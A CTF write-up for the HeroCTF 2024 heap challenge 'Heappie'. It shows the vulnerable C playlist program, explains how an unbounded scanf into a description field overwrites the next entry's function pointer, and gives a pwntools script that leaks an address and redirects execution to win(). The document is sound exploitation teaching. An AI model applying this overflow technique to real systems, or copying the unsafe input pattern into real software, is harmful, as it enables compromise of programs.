📃
Writeups
Blog
  • â„šī¸whoami
  • 👩‍đŸ’ģBinary Exploitation
    • Basic Binary Protections
    • ROP
    • Format String Bug
    • Stack Pivoting
    • Partial Overwrite
    • Symbolic Execution
    • Heap
      • Heap Basics
      • Heap Overflow
      • Heap Grooming
      • Use After Free / Double Free
      • Fast Bin Attack
      • One By Off Overwrite
      • House of Force
  • 🎮HackTheBox
    • Challenges
      • Baby Website Rick
      • Space pirate: Entrypoint
    • Boxes
      • Analysis
      • DevOops
      • Celestial
      • Rebound
      • CozyHosting
      • Authority
  • 📄CTF Writeups
    • CTF Writeups
      • USCTF 2024
        • Spooky Query Leaks
      • HackTheVote
        • Comma-Club (Revenge)
      • HeroCTF 2024
        • Heappie
      • Buckeye 2024
        • No-Handouts
      • TetCTF 2024
        • TET & 4N6
      • PatriotCTF 2023
        • ML Pyjail
        • Breakfast Club
    • Authored Challenges
      • Team Rocket
Powered by GitBook
On this page
  • Vulnerability
  • Exploit
  1. CTF Writeups
  2. CTF Writeups
  3. HeroCTF 2024

Heappie

Ret2win in Heap

Vulnerability

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

typedef struct Music {
    void (*play)(struct Music*);

    char title[32];
    char artist[32];
    char description[128];
} Music;

Music* playlist = NULL;
int playlist_size = 0;
int playlist_capacity = 0;

void win() {
    char flag[64];
    FILE* f = fopen("flag.txt", "r");
    if (f == NULL) {
        puts("Flag file is missing!");
        exit(1);
    }

    fgets(flag, sizeof(flag), f);
    printf("Flag: %s", flag);
    fclose(f);
}

void play_1(Music* music) {
    printf("Playing music 1: %s by %s\n", music->title, music->artist);
}

void play_2(Music* music) {
    printf("Playing music 2: %s by %s\n", music->title, music->artist);
}

void play_3(Music* music) {
    printf("Playing music 3: %s by %s\n", music->title, music->artist);
}

void* choose_random_play() {
    int choice = rand() % 3;
    switch(choice) {
        case 0:
            return (void*)play_1;
        case 1:
            return (void*)play_2;
        case 2:
            return (void*)play_3;
    }
    return NULL;
}

void show_playlist() {
    if (playlist_size == 0) {
        puts("Your playlist is empty!\n");
        return;
    }

    puts("Your playlist:");
    for (int i = 0; i < playlist_size; i++) {
        Music* music = &playlist[i];
        printf("\t%d. %s by %s (song: %p)\n", i + 1, music->title, music->artist, music->play);
    }
}

void add_music() {

    if (playlist_size == playlist_capacity) {
        playlist_capacity += 10;
        playlist = realloc(playlist, playlist_capacity * sizeof(Music));
    }

    Music* music = &playlist[playlist_size];
    char add_music = 'n';
    printf("Do you want to add a sound to the music? (y/n): ");
    scanf(" %c", &add_music);
    if (add_music == 'y') {
        music->play = choose_random_play();
        puts("Sound added to the music!");
    } else {
        puts("No sound added to the music!");
    }
    printf("Enter music title: ");
    scanf("%31s", music->title);
    printf("Enter music artist: ");
    scanf("%31s", music->artist);
    printf("Enter music description: ");
    scanf("%s", music->description);

    puts("Music added to your playlist!\n");
    playlist_size++;
}

void play_music() {
    int index;

    printf("Enter music index: ");
    scanf("%d", &index);

    if (index < 0 || index >= playlist_size) {
        puts("Invalid index!\n");
        return;
    }

    Music* music = &playlist[index];
    if (music->play == NULL) {
        puts("No sound for this music!\n");
        return;
    }

    music->play(music);
}

void delete_music() {
    int index;
    printf("Enter music index: ");
    scanf("%d", &index);

    if (index < 0 || index >= playlist_size) {
        puts("Invalid index!\n");
        return;
    }

    Music* music = &playlist[index];
    memset(music, 0, sizeof(Music));

    for (int i = index; i < playlist_size - 1; i++) {
        playlist[i] = playlist[i + 1];
    }

    puts("Music deleted from your playlist!\n");
    playlist_size--;
}

void setup() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);

    puts("============================================");
    puts("=>           Welcome to Heappie           <=");
    puts("============================================");

    puts("Fill your playlist with your favorite music!");
    puts("");
    puts("Examples:");
    puts("\t1. Imagine by John Lennon");
    puts("\t2. Blowin' in the Wind by Bob Dylan");
    puts("\t3. Aquarius/Let the Sunshine In by The 5th Dimension");
    puts("");
}

int main() {
    srand(time(NULL));
    setup();

    while(1) {
        puts("1. Add music");
        puts("2. Play music");
        puts("3. Delete music");
        puts("4. Show playlist");

        printf(">> ");
        int choice;
        scanf("%d", &choice);

        switch(choice) {
            case 1:
                add_music();
                break;
            case 2:
                play_music();
                break;
            case 3:
                delete_music();
                break;
            case 4:
                show_playlist();
                break;
            default:
                puts("Invalid choice!\n");
                break;
        }
    }

    free(playlist);
    return 0;
}

The Music structure contains a function ptr that can be overwritten due to unrestricted inputs in the description via scanf.

We thus have a heap overflow and can craft the following exploit

  1. Create the first Music entry that overflows into the second Music entry's play pointer

  2. Use the show_playlist() to get our function leak due to ASLR

    1. Calculate the appropriate offset to win() based on the song that has been selected via rand()

  3. Create our second Music entry, utilizing play_music() to execute win()

Exploit

from pwn import *
context.log_level = "debug"
p =  process('./heappie')
p = remote('pwn.heroctf.fr', 6000)
dict_of_play = {b'7d' : 132,
                b'b3' : 186,
                b'e9' : 336}
offset = 128
def create(payload, sound):
    p.sendlineafter(b'>> ', "1")
    p.sendlineafter(b"Do you want to add a sound to the music? (y/n): ", sound)
    p.sendlineafter(b"Enter music title: ", b"Nothing")
    p.sendlineafter(b"Enter music artist: ", b"Nothing")
    p.sendlineafter(b"Enter music description: ", payload)
    p.recvline()
    
def view():
    p.sendlineafter(b'>> ', "4")
    p.recvuntil(b'song: ')
    leak = p.recvline().strip(b'\n').strip(b')')
    win_function = int(leak,16) - dict_of_play[leak[-2:]]
    log.info(f"win_function : {hex(win_function)}")
    return win_function


def play():
    p.sendlineafter(b'>> ', "2")
    p.recvuntil(b'Enter music index: ')
    p.sendline(b'2')
    

create(b"Nothing", b'y')
win_function = view()
payload = b"A" * offset
payload += p64(win_function)
create(payload, b'n')
create(payload, b'n')
play()
p.clean()
print(p.recvline_contains(b"Hero{ "))

PreviousHeroCTF 2024NextBuckeye 2024

Last updated 6 months ago

📄